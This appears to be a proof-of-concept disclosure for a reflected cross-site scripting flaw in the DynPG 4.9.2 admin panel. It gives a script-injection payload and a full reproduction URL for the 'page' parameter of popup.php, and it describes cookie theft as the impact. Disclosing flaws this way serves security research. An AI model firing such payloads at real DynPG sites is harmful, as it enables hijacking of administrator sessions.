

main

...

POC / DynPG 4.9.2 XSS via page parameter



Update DynPG 4.9.2 XSS via page parameter

History

1 contributor

19 lines (16 sloc) | 980 Bytes

...

```

1 Description
2
3 A cross-site scripting (XSS) issue in the DynPG admin login panel version 4.9.2 allows remote attackers to inject JavaScript via the "page" Parameter
4
5 XSS Payload: %27"--></style><script><script>alert(3)</script>
6
7 Vulnerable Parameter: page
8
9 Steps to Reproduce the Issue:
10
11 1- Login to DynPG admin panel
12 2- Paste below POC:
13 https://localhost/dynpg/backendpopup/popup.php?limit=3&orderby=3&page=%27"--></style><script><script>alert(3)</script>&popupResource=images&query=3&refID=3&returnCall=3&sort=3&val
14 As you can see, XSS is triggered.
15
16 Video POC: https://drive.google.com/file/d/1_7U-4Z0B1ntbmsrIKzglx5wpJWeG2RwN/view?usp=sharing
17
18 Impact
19 With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeove
```

